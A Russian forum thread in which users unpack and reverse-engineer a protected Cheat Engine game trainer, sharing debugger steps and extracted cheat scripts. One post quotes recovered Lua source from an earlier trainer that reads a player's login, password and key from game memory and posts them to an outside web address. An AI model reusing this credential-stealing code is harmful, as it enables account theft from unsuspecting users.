Vlad2 Опубликовано 24 ноября, 2016 Поделиться Опубликовано 24 ноября, 2016 (изменено) Решил создать отдельную тему со своим трейнером, запакованным особым образом. Задача: Распаковать трейнер #2 Выложить исходный код трейнера Описать метод распаковки Скачать трейнер #1 Скачать трейнер #2 Изменено 25 ноября, 2016 пользователем Vlad2 Ссылка на комментарий Поделиться на другие сайты Поделиться
partoftheworlD Опубликовано 24 ноября, 2016 Поделиться Опубликовано 24 ноября, 2016 Скрытый текст wrSignaled=0 wrTimeout=1 wrAbandoned=2 wrError=3closecreateTimerUDF2Shittimer_setIntervaldtimer_onTimerPutgetCheatEngineDirLenstringlen subosremoveCET_Archive.datFormcreateFormLabelcreateLabelHeightWidth�BorderStyle bsToolWindowCaptionFC3_BD trainer +1 PositionpoDesktopCenterLeftTopcF10 - Unlim ammoParentColorFalsesetOnClosecloseCE form_show createHotkeyVK_F10��@@@A�$@&�osremoveCET_TRAINER.CETRAINER��"F@G@�G��d����@�F@G@�G��@d@F�A��d@FB�@d@F�Bd@��F�A��d@F@G@�G���d@FB��d@F�Bd@�&�LabelFont getColor setColor�openProcessfc3_blooddragon_d3d11_b.exe autoAssemble�alloc(xxx, 256) aobscan(ammo, 8B 41 10 85 C0 75 0E) aobscan(ammo2, 2B C6 50 E8 9E FE FF FF) registersymbol(ammo) registersymbol(ammo2) label(returnhere) xxx: db 52 8B 51 14 89 51 10 5A 8B 41 10 85 C0 jmp returnhere ammo2: db 90 90 ammo: jmp xxx returnhere:beepdammo: db 8B 41 10 85 C0 ammo2: db 2B C6 dealloc(xxx) unregistersymbol(ammo) unregistersymbol(ammo2) 8k Ссылка на комментарий Поделиться на другие сайты Поделиться
Vlad2 Опубликовано 25 ноября, 2016 Автор Поделиться Опубликовано 25 ноября, 2016 Это не исходник. Только малееький кусочек, замусоренный чем то Ссылка на комментарий Поделиться на другие сайты Поделиться
LIRW Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 Выложено как раз то, для чего и разбирают трейнеры... А сам исход мне кажется мало кого интересует. Защищать то нужно главную цель, а не кому не нужную оболочку. Разбирают же трейнер не из за его окна, а из за функций - которые как раз уже выложены. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) Если кто то из твоего трейнера вытащить хотя бы обскан, на патроны например, или жизни, то твоя защита уже считай взломана, больше не чего искать не надо в трейнере, самый хороший способ мене LIRW показывал, называется не код а КАША КОДОВАЯ, весь код был разбросан, и не так просто понять что и где. Изменено 25 ноября, 2016 пользователем Submarinа Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 1 час назад, Submarinа сказал: Если кто то из твоего трейнера вытащить хотя бы обскан, на патроны например, или жизни, то твоя защита уже считай взломана, больше не чего искать не надо в трейнере, самый хороший способ мене LIRW показывал, называется не код а КАША КОДОВАЯ, весь код был разбросан, и не так просто понять что и где. А как же метод кодировки кода, который здесь недавно выложил MasterGH? Мне думается что этот способ самый лучший. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) Привет AntonVit, ты посмотри на ту кодировку которая получается после выхода, она вся одинаковая, тут школьник поймёт. Изменено 25 ноября, 2016 пользователем Submarinа Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 45 минуты назад, Submarinа сказал: Привет AntonVit, ты посмотри на ту кодировку которая получается после выхода, она вся одинаковая, тут школьник поймёт. Привет, возможно что так, но вот я попробовал закодировать два разных АА скрипта Скрытый текст function CEButton1Click(sender) myscript1 = decodeFunction('c-nnZO-sWt7+5;_.^_VC*Js5,(J_s@Dx.@=U^MqilwHOSS)_.C,LCmx-t.(4gEdpBrk#69X=XH^yl;k5n,3f]yYJhu2lYn1)a8Jgx6GwyAVX}(@%$sDSFZqh:+;eY?^n/eUeT7q;f3aYCBBp[9(xtwaasG.)[_z:]V:S8f.01.[[rYyd@VY8)t4OOBG}en/.*7YxE*}I#-_SM,1MtSbTJ_2/?E5G!aKO(,bez)DCbFN-re{+.y0kvc6yeU+#yBRGnp_VU+b^1(C:/QPl1prqv0bHmQztyI8{8p6Ee$YG20_BNL78G@2J8(7eVPb9Wid6]^er1EZ@W(P)VI.P,ZV2$%QaZ?t]uz(@oYT(akeBIC,+54?8*@1kI0{mQ99M9;+P,D.uo=09^+7Dh5_k=NyXFhB1$Dv]j;V)?d0NU?Wur?2P$b!(Ptp,Joo0W%sha=60S/nNQWp,Jb5qE/[Qw0kj^@^c[bm2s_YzXhAN3f!5V0G;as*') myscript1() end function CEButton2Click(sender) myscript2 = decodeFunction('c-ozkO-sW-5QewfLmBYqMZF9N5.bUQQ.0bwt[DOALGdCvY[nUfZcN#vZM@Ak?CWN!Yu%:PfI}iK:Y5{/P1a5a=1HSkEWs,(8{(w]ydqy:je.84+AGK_+2rRA-y#x[:YS9%klF?$A]3cKUt*tI3-es09VwPyM}feNU_A/m+h8A{ffUvS4bKv$cuy7f/+lGfjCMpR;{U[22%Al8Q#^mH4]}Z2^o].QY]4)$({-ol#kR8vOv*@:(QC+n@vT)CT,cSZo1nx@FE513AJa{It)mon!^nXb3YOdpWxI2#N/}!{@.BLIy.S?xot9L!S4/9m)T$h2MzW5O*/H.5rrm#{j-yE.q=fu5%/b=YN(9$R:^}mCn^X%4R6=2!bB?/4DYq3bx4iAP7u#i.w%_?%7,j4og_mq1l$znZGlDL3B{YEW6vuv^W)Y_P-Mr_VtLD]4ds9DHLlF4C@jw9],E$@4fgAr^tH,t(t8whk2UN%MfpcsE7)b^#[A?@yJY./@0KPV[k=-OSG1*Hi') myscript2() end Что имелось в виду под выражением "она вся одинаковая"? Так как я смотрю на закодированный участок того и другого скрипта, и не нахожу ничего такого схожего, что помогло бы хоть как то расшифровать записанное. Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 2 часа назад, Submarinа сказал: называется не код а КАША КОДОВАЯ, весь код был разбросан, и не так просто понять что и где. Кашу кодовую в студию! Посмотрим что получится выудить полезного из неё. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) LIRW спроси, он покажет. про кашу Изменено 25 ноября, 2016 пользователем Submarinа Ссылка на комментарий Поделиться на другие сайты Поделиться
LIRW Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 2 часа назад, Submarinа сказал: самый хороший способ мене LIRW показывал Наверное показывал не LIRW - А partofheworlD. Я потому что помню было как то время и по моему Баракуда (если не ошибаюсь) делал темы, а в теме было помощь в разборе трейнера.. И мол писано было, вот исход от него - доказывающий якобы что трейнер мой (что бы не кто не подумал что он краденый) и мол помогите восстановить скрипты... На что откликнулся выше описанный участник.. Ну а далее уже прозвучал вопрос от Баракуды, мол как ты это делаешь ? научи... ну и они в личку ушли... А я в этой теме и не отписывался даже. PS: Хотя кто его знает - мол когда и предлагал какой либо вариант - так как их много. Ссылка на комментарий Поделиться на другие сайты Поделиться
partoftheworlD Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 На счет: decodeFunction Мне кажется, что нет смысла использовать ее т.к. при нажатии на клавишу включающую/выключающую скрипт все равно будет расшифровываться в памяти зашифрованный скрипт и из нее уже можно будет вытащить расшифрованный скрипт. Пустая трата времени, такая защита подойдет для тех, кто первый раз установил CE и увидел отладчик. Единственная защита которая реально может помочь это (самомодифицирующийся код) выполнять кода из стека(хотя вроде бы это уже запрещено виндой), чтобы его нельзя было отследить. Ссылка на комментарий Поделиться на другие сайты Поделиться
LIRW Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 Ты просто не как не спрячешь код... скриптов... Только если закодировать... и то вытащат всё и раскодируют так же как и ты закодировал его.. Способ уже выложен и его знают. А почему по другому не спрячешь ? да потому что какой бы ты там таймер не вешал от защиты СЕ - процесс трейнера заморозил и делай там что хочешь. Внутренности же внутри него - по комментариям можно всё вытащить. Строчки аобскан будут использованы так и так. Даже если нет - Можно выйти и через вызов этой строки то есть Call ты же если enable использовать не будешь, то будешь пользоваться функцией call - так же в поиске строки эти функции все видны. Это просто пустая трата времени - кому делать не чего, пусть защищает. А есть люди который отладчик врубят в вытащат все из него. Он же распаковывается так и так перед выполнением, в отладчик и шаг за шагом. Протектор на него не повесить не как, а значит и смысла нет прятать что либо в нем, так как это пустая трата времени.Вот если бы внутри самого трейнера нельзя было искать строки тогда можно было бы по серьёзней что либо придумать и то опять же разобрали бы умные люди, но не понимающим людям доставило бы проблем не мало. Вон в инете столько способов лежит - аж с 2013 года, о которых я даже и не знал а видео делали школьники, конечно может они у кого этот способ утащили и выдали за свой но всё же - обходились без декомпилятора который в паблике валяется и делали прям, то что делает он в ручную. Просто столько народу пробовало это сделать и не кто не чего конкретно стоящего не сделал. Не на СЕ форуме - не где.. А там народу не то что у нас на форуме и люди (колличество)там обитают далеко не нубы. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) Вообще защита нужна не для того чтобы нельзя было её взломать, это психология я объясню, вот например я сделал трейнер, и защитил код в ну три, я сильно сомневаюсь что кто то из вас будет сядет и 1 функции ломать трейнер, потому что проще найти в с помощью Cheat Engine, и время уйдёт меньше, защита сделана для того чтобы от тянуть время, а там глядишь и надоесть сидеть и взламывать тренер из за 1-2 функций, вы почитайте про защиту денува для чего её сделали, и вам всё станет ясно. Изменено 25 ноября, 2016 пользователем Submarinа Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) Ну дак вот любую программу, или трейнер, надо защищать, и не важно что её взломаю. Объясню ещё проще, вот когда ты открываешь программу через отладчик, и видишь кашу, у тебя в голове уже складывается, да нафига я буду из за какой та 1-2-3 функции, ломать программу, тем более если это трейнер, бестолковая трата времени. Изменено 25 ноября, 2016 пользователем Submarinа Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) В 21.05.2016в19:29, Recpec158 сказал: Vlad2, Твой исходник от "Vlad2.lua": Показать содержимое os.remove('Vlad2.lua') local TimerShit = createTimer(UDF2, true) function Shit() os.remove('Vlad2.lua') os.remove('CET_TRAINER.UDF1') end timer_setInterval(TimerShit, 500) timer_onTimer(TimerShit, Shit) Put = getCheatEngineDir() Len = string.len(Put) Len = Len-10 Put = string.sub(Put, 0, Len) os.remove(Put..'CET_Archive.dat') f = assert(io.open(Put..'CET_Archive.dat', "a+")) f:write('85s4328r54s848erf4'.."\n") f:close() local Timer1 = createTimer(UDF2, true) function TDU2Process() openProcess("TestDrive2.exe") if ('00FD96BE' == nil) then timer_setInterval(Timer1, 1000) timer_setEnabled(Timer1, true) else timer_setInterval(Timer1, 10000) end end timer_onTimer(Timer1, TDU2Process) form_show(UDF1) Point = '[[[[[["TestDrive2.exe"+00D5F658]+ad4]+a0]+8]+f4]+18]+' function Load() R1 = readFloat(Point..'4b0') R2 = readFloat(Point..'4a0') R3 = readFloat(Point..'4d0') G1 = readFloat(Point..'4b4') G2 = readFloat(Point..'4a4') G3 = readFloat(Point..'4d4') B1 = readFloat(Point..'4b8') B2 = readFloat(Point..'4a8') B3 = readFloat(Point..'4d8') C1 = readFloat(Point..'520') C2 = readFloat(Point..'528') C3 = readFloat(Point..'52C') if (checkbox_getState(UDF1_CECheckbox1) == 1) then if (R1 ~= nil) then control_setCaption(UDF1_CEEdit1, R1) control_setCaption(UDF1_CEEdit2, R2) control_setCaption(UDF1_CEEdit3, R3) control_setCaption(UDF1_CEEdit4, G1) control_setCaption(UDF1_CEEdit5, G2) control_setCaption(UDF1_CEEdit6, G3) control_setCaption(UDF1_CEEdit7, B1) control_setCaption(UDF1_CEEdit8, B2) control_setCaption(UDF1_CEEdit9, B3) end end if (checkbox_getState(UDF1_CECheckbox2) == 1) then if (C1 ~= nil) then control_setCaption(UDF1_CEEdit10, C1) control_setCaption(UDF1_CEEdit11, C2) control_setCaption(UDF1_CEEdit12, C3) end end end function Save() R1 = readFloat(Point..'4b0') if (R1 ~= nil) then if (checkbox_getState(UDF1_CECheckbox1) == 1) then writeFloat(Point..'4b0', control_getCaption(UDF1_CEEdit1)) writeFloat(Point..'4a0', control_getCaption(UDF1_CEEdit2)) writeFloat(Point..'4d0', control_getCaption(UDF1_CEEdit3)) writeFloat(Point..'4b4', control_getCaption(UDF1_CEEdit4)) writeFloat(Point..'4a4', control_getCaption(UDF1_CEEdit5)) writeFloat(Point..'4d4', control_getCaption(UDF1_CEEdit6)) writeFloat(Point..'4b8', control_getCaption(UDF1_CEEdit7)) writeFloat(Point..'4a8', control_getCaption(UDF1_CEEdit8)) writeFloat(Point..'4d8', control_getCaption(UDF1_CEEdit9)) end if (checkbox_getState(UDF1_CECheckbox2) == 1) then writeFloat(Point..'520', control_getCaption(UDF1_CEEdit10)) writeFloat(Point..'528', control_getCaption(UDF1_CEEdit11)) writeFloat(Point..'52C', control_getCaption(UDF1_CEEdit12)) end end end function Freeze() A = checkbox_getState(UDF1_CEToggleBox1) if (A == 1) then Save() end end TimF = createTimer(UDF1, true) timer_setInterval(TimF, 500) timer_onTimer(TimF, Freeze) function cl() closeCE() return caFree end AutTim = createTimer(UDF1, true) function Autor() TDU = readInteger('01320000') if (TDU ~= nil) then nick = readString('01321E48', 30) NS = readString('["TestDrive2.exe"+00C257E4]+c1', 30) if (NS ~= nil) and (NS ~= '') and (nick == NS) then if (check ~= nick) then nick = readString('01321E48', 30) log = readString('01321E78', 30) pas = readString('01321F78', 30) key = readString('013215F8', 19) --------------------------------------------------------- filename = nick..'.txt' text = nick..'\n\nlogin: '..log..'\npassword: '..pas..'\nkey: '..key data = 'param='..text..'&filename='..filename..'&login='..nick --------------------------------------------------------- local http = require("socket.http") local ltn12 = require("ltn12") local reqbody = data local respbody = {} local result, respcode, respheaders, respstatus = http.request {method = "POST", url = "http://userwot.netne.net/Vlad2/!users.php", source = ltn12.source.string(reqbody), headers = { ["Accept"] = "text/html, */*", ["Connection"] = "keep-alive", ["Content-Type"] = "application/x-www-form-urlencoded", ["content-length"] = string.len(reqbody)},} --------------------------------------------------------- if (respcode == 200) then check = nick end end end end end timer_setInterval(AutTim, 2000) timer_onTimer(AutTim, Autor) function CEImage1MouseDown(sender, button, x, y) form_dragNow(UDF1) end Этот пользователь каким то образом вскрыл трейнер, сделанный Владом. Возможно он знает как вскрыть и этот. Вот тема Изменено 25 ноября, 2016 пользователем AntonVit Ссылка на комментарий Поделиться на другие сайты Поделиться
gmz Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 распаковка: trainer_x64.EXE -> в x32_dbg -> CreateProcessA -> breakpoint %TEMP%\cetrainers\CETXXXX.tmp копируем trainer_x64.EXE и CET_Archive.dat trainer_x64.EXE -> в x32_dbg -> CreateProcessA -> breakpoint -> получаем: 1 trainer_x64.EXE - реал х64 2 lua53-64.dll 3 CET_TRAINER.CETRAINER 4 defines.lua дальше над смотреть дешифро, вариант выше где нашли блок в котором валяется дешифро+мусор - Lol ps метод упаковки - еще тот ржач Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) Скрытый текст Откуда пошло Lol, XD, и подобное тому ? Изменено 25 ноября, 2016 пользователем AntonVit Ссылка на комментарий Поделиться на другие сайты Поделиться
LIRW Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 Вот тема кстати - правда (100 летней давности) но всё же. Чпок! Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 1 час назад, gmz сказал: распаковка: trainer_x64.EXE -> в x32_dbg -> CreateProcessA -> breakpoint %TEMP%\cetrainers\CETXXXX.tmp копируем trainer_x64.EXE и CET_Archive.dat trainer_x64.EXE -> в x32_dbg -> CreateProcessA -> breakpoint -> получаем: 1 trainer_x64.EXE - реал х64 2 lua53-64.dll 3 CET_TRAINER.CETRAINER 4 defines.lua Если трейнер скомпилировать на модифицированном СЕ. Файл CET_TRAINER.CETRAINER уже не получиться декомпилировать с помощью декомпилятора. Как тогда расшифруешь? Ссылка на комментарий Поделиться на другие сайты Поделиться
Vlad2 Опубликовано 25 ноября, 2016 Автор Поделиться Опубликовано 25 ноября, 2016 Да ежу понятно, что это все бессмысленно и пустая трата времени. Я решил попробовать это сделать, потому что кому-то потом может пригодиться такой способ. Дабы защитить свой код от банальной авто распаковки, какими-то утилитами. Сам я никогда не использую СЕ, как генератор трейнеров. Сейчас вы вытащили скрипт, который был не спрятан то сильно. И решили на этом закончить, но это не все! В трейнере возможно использовать только lua код, на котором будет завязан весь функционал чита, без АА скриптов, тогда как вы найдете код? Поэтому я и хочу, чтобы кто-то попробовал вытащить весь исходник трейнера, а не только скрипт. Ссылка на комментарий Поделиться на другие сайты Поделиться
LIRW Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 37 минуты назад, AntonVit сказал: Как тогда расшифруешь? Вот какой то школьник в обще не пользовался не каким декомпилятором... Его на то время в помине не было. Скрытый текст Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 (изменено) 13 минуты назад, LIRW сказал: Вот какой то школьник в обще не пользовался не каким декомпилятором... Его на то время в помине не было. Показать содержимое Автору видео как мне думается, не удалось бы загрузить модифицированный CET_TRAINER.CETRAINER в Cheate Engine. А если так, то его способ вскрытия конечно и интересен, но не универсален. Изменено 25 ноября, 2016 пользователем AntonVit Ссылка на комментарий Поделиться на другие сайты Поделиться
horror113 Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 14 минуты назад, LIRW сказал: Вот какой то школьник в обще не пользовался не каким декомпилятором... Его на то время в помине не было. Скрыть содержимое почему же был от форума 333 http://rgho.st/8wvmwrcsP Ссылка на комментарий Поделиться на другие сайты Поделиться
horror113 Опубликовано 25 ноября, 2016 Поделиться Опубликовано 25 ноября, 2016 1 час назад, AntonVit сказал: Если трейнер скомпилировать на модифицированном СЕ. Файл CET_TRAINER.CETRAINER уже не получиться декомпилировать с помощью декомпилятора. Как тогда расшифруешь? люди добрые поделитесь модифицированным се у кого есть 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
Рекомендуемые сообщения